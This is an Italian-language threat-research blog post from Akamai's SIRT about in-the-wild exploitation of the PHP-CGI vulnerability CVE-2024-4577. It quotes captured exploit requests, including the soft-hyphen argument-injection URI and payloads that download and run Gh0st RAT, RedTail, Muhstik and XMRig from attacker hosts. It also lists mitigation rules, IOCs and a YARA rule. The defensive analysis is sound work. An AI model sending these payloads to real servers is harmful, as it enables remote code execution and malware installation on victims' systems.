La CVE-2024-4577 sfruttata in rete un giorno dopo la sua divulgazione
Editoriale e commenti aggiuntivi di Tricia Howard
Analisi riassuntiva
Il team SIRT (Security Intelligence Response Team) di Akamai ha monitorato l'attività relativa alla CVE-2024-4577, una vulnerabilità PHP che influisce sulle installazioni su cui viene eseguita la modalità CGI e che è stata divulgata a giugno 2024.
La vulnerabilità influisce principalmente sulle installazioni di Windows che utilizzano le impostazioni locali del cinese e del giapponese, ma potrebbe applicarsi ad una gamma più ampia di installazioni.
Il giorno dopo la divulgazione di questa vulnerabilità, il team SIRT ha osservato numerosi tentativi di abuso a indicare un elevato tasso di sfruttamento e una rapida adozione da parte dei criminali.
Lo sfruttamento include una vulnerabilità Command Injection e diverse campagne di malware: Gh0st RAT, cryptominer RedTail e XMRig.
Akamai App & API Protector è riuscita a mitigare automaticamente gli exploit che hanno preso di mira i nostri clienti.
In questo blog, abbiamo incluso un elenco completo degli indicatori di compromissione (IOC) per i vari exploit di cui abbiamo parlato.
Introduzione
Il periodo di tempo tra la divulgazione e lo sfruttamento delle vulnerabilità si è ridotto notevolmente negli ultimi anni, anzi le attività più dannose si verificano nel primo mese dopo la distribuzione di una patch. A maggio 2024, in media un tentativo di sfruttamento è iniziato dopo circa 4 giorni dalla pubblicazione di una vulnerabilità, il che non lascia praticamente tempo per prepararsi agli addetti alla sicurezza. Questo è solo un aspetto dell'aumento delle vulnerabilità: i criminali abusano continuamente delle vulnerabilità one-day (persino di alcune meno recenti) per raggiungere i propri obiettivi.
Uno degli esempi più recenti di questo aumento si può vedere in una vulnerabilità critica che è stata rilevata in PHP (versione 8.1.* prima della 8.1.29, versione 8.2.* prima della 8.2.20 e versione 8.3.* prima della 8.3.8). La vulnerabilità è causata dal modo con gli handler PHP e CGI analizzano alcuni caratteri Unicode, che possono consentire ad un criminale di eseguire un codice da remoto (RCE). Questa vulnerabilità è molto facile da sfruttare, come abbiamo visto fare da diversi criminali che se ne sono serviti per prendere di mira dispositivi vulnerabili.
In questo blog, descriveremo alcuni tentativi di sfruttare questa vulnerabilità che abbiamo osservato, ne discuteremo l'impatto e presenteremo gli indicatori di compromissione (IOC) che abbiamo raccolto.
Sfruttamento della vulnerabilità CVE-2024-4577
Uno dei fattori che consentono di distinguere una vulnerabilità critica è la sua facilità di sfruttamento e questa vulnerabilità è abbastanza facile da sfruttare per un criminale. Per eseguire un codice da remoto (RCE), un criminale deve semplicemente inviare al server un codice PHP, che verrà (mal)interpretato.
Analogamente alla CVE-2012-1823, lo sfruttamento di questa vulnerabilità si basa sull'utilizzo di php://input per incorporare il codice nel corpo della richiesta. In PHP, php://input è un flusso I/O di sola lettura che consente di leggere i dati non elaborati dal corpo della richiesta. Per questo exploit, viene comunemente usata l'opzione auto_prepend_file di PHP, che specifica il nome di un file analizzato automaticamente prima del file principale. Poiché il contenuto del file viene analizzato prima, il codice di un criminale viene sicuramente incluso prima dell'esecuzione di qualsiasi altro codice.
Inoltre, molti criminali scelgono di aggiungere l'opzione allow_url_include, che consente di recuperare i dati da funzioni e posizioni remote, come fopen e file_get_contents.
Command Injection
Nella modalità CGI di PHP, un server web analizza le richieste HTTP e le passa ad uno script PHP, che aggiunge un'ulteriore elaborazione su di essi. Ad esempio, le stringhe di query vengono analizzate e passate all'interprete PHP tramite la riga di comando, pertanto una richiesta come http://host/cgi.php?foo=bar potrebbe venire eseguita come php.exe cgi.php foo=bar.
Ciò lascia una porta aperta per una vulnerabilità Command Injection, pertanto gli input vengono ripuliti prima di richiamare la richiesta php.exe. La CVE-2024-4577 è una vulnerabilità che consente ad un criminale di eludere la riga di comando e passare gli argomenti da interpretare direttamente da PHP. La vulnerabilità stessa risiede nel modo con cui i caratteri Unicode sono convertiti in ASCII. Figura 1. Per gentile concessione dell' articolo di watchTowr Lab sulla CVE-2024-4577, la richiesta php.exe viene richiamata due volte (la prima volta per scopi dannosi e la seconda volta per scopi leciti) per descrivere come è difficile stabilire la differenza tra i due tipi di richiesta.
All'occhio umano, le due richieste sembrano uguali, mentre, invece, esistono differenze nel modo con cui il computer le interpreta (Figura 2). Quando si guarda a questi argomenti tramite un editor esadecimale, si vede che la prima richiesta ha utilizzato un trattino standard (0x2D), mentre la seconda richiesta ha utilizzato un "trattino leggero" (0xAD).
Le diverse interpretazioni consentono l'esecuzione dell'attacco. Se un utente passa un trattino leggero ad un handler CGI, non sentirà la necessità di doverlo eludere. PHP applica la mappatura più adatta per l'elaborazione Unicode, supponendo, pertanto, che un utente ha scelto di passare un trattino standard mentre, in realtà, è stato passato un trattino leggero. Poiché questo trattino leggero viene interpretato come un trattino standard, il criminale potrà aggiungere altri argomenti della riga di comando, che iniziano con un trattino, nel processo PHP per RCE.
Per completare questa spiegazione e aiutarvi a comprendere il quadro completo della situazione, abbiamo incluso un esempio di un payload dannoso acquisito in rete (Figura 3) e il comando risultante che viene eseguito dal sistema host per gestire questa richiesta (Figura 4).
/cgi-bin/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
Figura 3. Esempio di una richiesta dannosa
php.exe -d allow_url_include -d auto_prepend_file=php://input
Figura 4. La richiesta dannosa dopo l'elaborazione
Documentazione dei tentativi di exploit
Malware Gh0st RAT
I criminali hanno continuato a seguire la tendenza di sfruttare le vulnerabilità subito dopo la loro divulgazione anche nel caso di questa nuova vulnerabilità: abbiamo osservato, infatti, tentativi di sfruttare questa vulnerabilità PHP nella nostra rete honeypot entro 24 ore dalla sua divulgazione.
Un tentativo di questo tipo ha riguardato il malware Gh0st RAT (Figura 5), che è uno strumento di accesso remoto open-source ormai in circolazione da più di 15 anni. In questo caso, si è trattato di un file eseguibile di Windows con pacchetti UPX.
Content-Type: application/x-www-form-urlencoded
User-Agent: python-requests/2.22.0
URI:
/cgi-bin/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
POST DATA:
<?php system('certutil.exe -urlcache -f http://147.50.253[.]109:44119/phps.exe phpsm.exe&start phpsm.exe');?>
Indirizzo IP proxy: 23.237.182[.]122
Data: 9 giugno 2024
Al momento dell'esecuzione del malware in un ambiente Sandbox, è stato rilasciato un altro file eseguibile (Iqgqosc.exe), anch'esso con pacchetti UPX, quindi sono state enumerate le unità e le periferiche connesse ed è stata inviata una query al Registro di sistema, che si rinomina comeA646ebf85afa29ae1c77458c575b5e4b0b145d813db028435d33b522edccdc0e.exe".
Vengono quindi inviati beacon al server C2 (Command and Control) in Germania 146.19.100[.]7 tramite la porta 8001.
L'indirizzo 147.50.253[.]109 IP ha presentato vari certificati con il CN (Common Name) "BangCloud", che sembrava essere associato con un piccolo provider di hosting di server situato in Thailandia. La maggior parte degli indirizzi IP associati con questo CN apparteneva allo stesso CIDR dell'indirizzo 147.50.253[.]109 e tutti gli indirizzi resi positivi in VirusTotal per la connessione a file dannosi. La maggior parte di questi indirizzi IP ha presentato anche hash e nomi file sovrapposti per questi risultati. Nella Figura 6 è illustrato il codice MITRE ATT&CK Navigator per il campione Gh0st RAT fornito.
Cryptominer RedTail
Gli honeypot del team SIRT hanno anche osservato un'operazione di cryptomining RedTail , che è riuscita a sfruttare la vulnerabilità CVE-2024-4577 entro pochi giorni dalla sua divulgazione. Il criminale ha inviato una richiesta simile alle altre operazioni RedTail viste in precedenza, che hanno abusato di una vulnerabilità causata da un trattino leggero con "%ADd" per eseguire una richiesta wget per lo script di una shell. Questo script effettua un'ulteriore richiesta di rete allo stesso indirizzo IP situato in Russia per recuperare una versione x86 del malware di cryptomining RedTail (Figura 7).
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Linux; Linux x86_64; en-US) Gecko/20100101 Firefox/122.0
URI:
/hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input
POST DATA:
<?php shell_exec("SC=\$(wget -O- http://185.172.128[.]93/sh || curl http://185.172.128[.]93/sh); echo \"\$SC\" | sh -s cve_2024_4577"); ?>
Lo script della shell tenta di scaricare il file miner tramite una richiesta wget o cURL con un TCP non elaborato come metodo di fallback. Lo script cerca le directory di proprietà dell'attuale vittima con autorizzazioni di lettura, scrittura ed esecuzione, escluse le directory montate con l'opzione "noexec", nonché "/tmp" e "/proc", quindi:
- Recupera l'architettura del sistema
- Prova le autorizzazioni in scrittura creando e rimuovendo i file di test
- Scarica ed esegue il suo payload in base all'architettura della vittima, rinominando il file con estensione.redtail"
Le architetture presenti nello script della shell includono quelle non applicabili ai dispositivi Windows, che sono probabilmente solo un risultato del riutilizzo da parte dei criminali di script generici non personalizzati per questa vulnerabilità in particolare.
Malware Muhstik
Un'altra campagna che abusa di questo exploit, come osservato nei nostri honeypot, è rappresentata dallo script di una shell che scarica una versione del malware Muhstik (Figura 8).
User-Agent: python-requests/2.22
URI:
/?%ADd+allow_url_include%3D1+-d+auto_prepend_file%3Dphp://input
POST DATA:
<?php system('curl 86.48.2[.]49/3sh')?>;echo 1337; die;
Lo script della shell scarica un file denominato "pty3" da un altro indirizzo IP, che risulta essere un file ELF. Da un'ulteriore analisi, emerge come si tratta probabilmente di un campione di malware Muhstik, che, come era stato documentato in precedenza, ha preso di mira i server IoT (Internet of Things) e Linux per sferrare attacchi di cryptomining eDDoS(Denial-of-Service).
Mostra schemi e convenzioni di nomi simili alle istanze del malware Muhstik segnalate in precedenza, come "pty3", e crea diverse directory associate con il malware Muhstik, come "/var/run/pty3", "/dev/shm/pty3", "/var/tmp/pty3" e "/var/lock/pty3".
Inoltre, il dominio C2 (Command and Control) richiamato dal malware (p.findmeatthe[.]top) è stato recentemente documentato in una pubblicazione separata su una campagna di malware Muhstik, che comunica tramite IRC (Internet Relay Chat).
XMRig
Abbiamo osservato una quarta campagna che abusa di questo exploit riguardante XMR Rig, che ha eseguito il seguente comando:
URI:
/test.hello?%add+allow_url_include%3d1+%add+auto_prepend_file%3dphp://input
POST DATA (Base64 Encoded):
<?php $cmd=base64_decode('cG93ZXJzaGVsbCAtQ29tbWFuZCAiJHdjID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDsgJHRlbXBmaWxlID0gW1N5c3RlbS5JTy5QYXRoXTo6R2V0VGVtcEZpbGVOYW1lKCk7ICR0ZW1wZmlsZSArPSAnLmJhdCc7ICR3Yy5Eb3dubG9hZEZpbGUoJ2h0dHA6Ly9kb3dubG9hZC5jM3Bvb2wub3JnL3htcmlnX3NldHVwL3Jhdy9tYXN0ZXIvc2V0dXBfYzNwb29sX21pbmVyLmJhdCcsICR0ZW1wZmlsZSk7ICYgJHRlbXBmaWxlIDQ5dzhnc0x3N1V3VVZzelVCdFl1amROMU1jTmtvZVl1Y1RjdGFlUFg4bm1iaktBQnpKOVMxcmlnV2RoNUVpVVQxejROUEFQY2h4VDdSYUpYTjNmVVJVcE02RjZLR2p5OyBSZW1vdmUtSXRlbSAtRm9yY2UgJHRlbXBmaWxlIg==');system($cmd) ?>
POST DATA (Base64 Decoded):
powershell -Command "$wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat'; $wc.DownloadFile('http://download.c3pool[.]org/xmrig_setup/raw/master/setup_c3pool_miner.bat', $tempfile); & $tempfile 49w8gsLw7UwUVszUBtYujdN1McNkoeYucTctaePX8nmbjKABzJ9S1rigWdh5EiUT1z4NPAPchxT7RaJXN3fURUpM6F6KGjy; Remove-Item -Force $tempfile"
Il comando iniettato utilizza PowerShell per scaricare ed eseguire uno script in modo da avviare XMRig da un mining pool remoto, seguito da una pulizia dei file temporanei per l'offuscamento.
Soluzioni di mitigazione
Si consiglia di applicare tempestivamente le patch necessarie alle organizzazioni interessate da questa vulnerabilità e di attivare il monitoraggio degli IOC.
Per i clienti che utilizzano Akamai Adaptive Security Engine in modalità automatica e con il gruppo Command Injection Attack impostato in modalità di rifiuto, vengono automaticamente attivati sistemi di mitigazione contro questi tipi di attacchi.
I clienti che utilizzano Adaptive Security Engine in modalità manuale devono verificare di aver impostato il gruppo Command Injection Attack o le seguenti regole in modalità di rifiuto. A seconda del payload, una o più di queste regole riescono a mitigare questa vulnerabilità:
- 969151 v1 - Attacco PHP Injection (tag di apertura)
- 959977 v1 - Attacco PHP Injection (override di configurazione)
- 3000155 v1 - Attacco CMD Injection rilevato (filtro dati/PHP rilevato)
- 3000171 v3 - Tentativo di caricamento di file backdoor/webshell
Come sempre, è consigliabile controllare frequentemente la console per eventuali aggiornamenti e aggiunte ai set di regole. Subito dopo aver pubblicato gli exploit, abbiamo osservato un'enorme quantità di scansioni che cercavano di sfruttare questa vulnerabilità. Come con la maggior parte delle vulnerabilità con exploit pubblici, la grande maggioranza di richieste proveniva da esperti di programmi Bug Bounty e altri scanner. Questo traffico è stato seguito e bloccato da diverse regole di Adaptive Security Engine (Figure 9 e 10).
Tuttavia, non tutto il traffico che cercava di sfruttare questa vulnerabilità proveniva dagli esperti di programmi Bug Bounty. Nell'intento di bloccare queste richieste, Adaptive Security Engine ha eseguito anche delle operazioni automatiche di mitigazione per i nostri clienti dagli stessi exploit dannosi osservati mediante i nostri honeypot (Figura 11).
Inoltre, un exploit bloccato da Adaptive Security Engine non è stato rilevato dai nostri honeypot. Nel payload mostrato in Figura 12, un criminale stava tentando di copiare un file da un server, di cui aveva assunto il controllo, in una directory del server preso di mira. Il file copiato (up.txt) avrebbe consentito al criminale di caricare altri file tramite l'endpoint "/xl.php", nonché di caricare altri file dannosi, come web shell o malware. L'aspetto più importante è che, creando un altro metodo di caricamento dei file, il criminale avrebbe mantenuto l'accesso anche una volta applicata la patch per la vulnerabilità CVE-2024-4577.
Conclusione
Grazie all'utilizzo di vari strumenti di automazione e alla mancanza di una supervisione aziendale, i criminali hanno buone possibilità di successo. La continua riduzione del tempo necessario agli addetti alla sicurezza per proteggersi dopo la divulgazione di una nuova vulnerabilità è un altro rischio critico per la sicurezza, Specialmente nel caso di questa vulnerabilità PHP a causa del suo elevato tasso di sfruttamento e della sua rapida adozione da parte dei criminali.
Il team SIRT di Akamai continuerà a monitorare minacce come queste e fornirà i relativi rapporti per aumentare la consapevolezza nei nostri clienti e nella comunità della sicurezza in generale. Per ulteriori ricerche, seguiteci su X(in precedenza, noto come Twitter) per tenervi aggiornati su ciò che stiamo osservando.
Gh0st RAT
Hash SHA256
A646ebf85afa29ae1c77458c575b5e4b0b145d813db028435d33b522edccdc0e
Nomi file
A646ebf85afa29ae1c77458c575b5e4b0b145d813db028435d33b522edccdc0e.exe
phps.exe
Iqgqosc.exe
Indirizzi IPv4
147.50.253[.]109
146.19.100[.]7
23.237.182[.]122
IOC collegati a BangCloud con interazioni su VirusTotal
147.50.253[.]220
147.50.253[.]222
147.50.253[.]225
147.50.253[.]219
147.50.253[.]231
147.50.253[.]99
147.50.253[.]100
147.50.253[.]228
147.50.253[.]5
147.50.253[.]4
154.197.12[.].156
147.50.253[.]110
147.50.253[.]102
147.50.253[.]218
147.50.253[.]23
147.50.253[.]11
147.50.253[.]163
147.50.253[.]2
147.50.253[.]116
147.50.253[.]18
147.50.253[.]109
147.50.253[.]106
147.50.253[.]112
147.50.253[.]111
147.50.253[.]7
147.50.253[.]104
147.50.253[.]167
147.50.253[.]119
147.50.253[.]113
147.50.253[.]103
147.50.253[.]107
147.50.253[.]105
147.50.253[.]114
147.50.253[.]108
147.50.253[.]101
147.50.253[.]117
147.50.253[.]115
147.50.229[.]12
Tecniche MITRE ATT&CK
T1091 - Replica tramite supporti rimovibili
T1547 - Esecuzione dell'avvio automatico al boot o all'accesso
T1056 - Acquisizione degli input
T1112 - Modifica del Registro di sistema
T1003 - Credential dumping del sistema operativo
T1120 - Rilevamento dei dispositivi
T1027 - Informazioni o file nascosti
T1071 - Protocollo a livello di applicazioni
T1082 - Rilevamento delle informazioni di sistema
T1571 - Porta non standard
T1057 - Rilevamento dei processi
RedTail
Indirizzi IPv4
185.172.128[.]93
Hash SHA256
2c602147c727621c5e98525466b8ea78832abe2c3de10f0b33ce9a4adea205eb
0d70a044732a77957eaaf28d9574d75da54ae430d8ad2e4049bd182e13967a6f
ab897157fdef11b267e986ef286fd44a699e3699a458d90994e020619653d2cd
9753df3ea4b9948c82310f64ff103685f78af85e3e08bb5f0d0d44047c63c315
19a06de9a8b66196fa6cc9e86824dee577e462cbeaf36d715c8fea5bcb08b54d
Nomi file
sh - Script della shell
X86_64 - Payload Redtail
.redtail - Payload Redtail
Regole YARA
rule redtail_miner {
meta:
author = "Akamai SIRT"
date = "06/24/2024"
version = "1.0"
description = "YARA Rule for Red Tail Crypto Miner and Shell Script"
strings:
$a1 = "rm -rf .redtail"
$a2 = "mv x86_64 .redtail"
$a3 = "mv i686 .redtail"
$a4 = "mv aarch64 .redtail"
$a5 = "mv arm7 .redtail"
$a6 = "./.redtail $1 > /dev/null 2>&1"
condition:
2 of ($*)
}
Malware Muhstik
Hash SHA256 dello script della shell
1ae2fef05798f0f27e9de76fcef0217f282090fab1ba750623ca36b413151434
Hash SHA256 del file ELF
9e28f942262805b5fb59f46568fed53fd4b7dbf6faf666bedaf6ff22dd416572
Nomi file
3sh - Script della shell
pty3 - Payload del malware Muhstik
Indirizzi IPv4
147.139.29[.]220
86.48.2[.]49
185.201.8[.]176
194.59.165[.]52
156.67.218[.]115
Domini
p.findmeatthe[.]top
p.deutschland-zahlung[.]eu
p.shadow-mods[.]net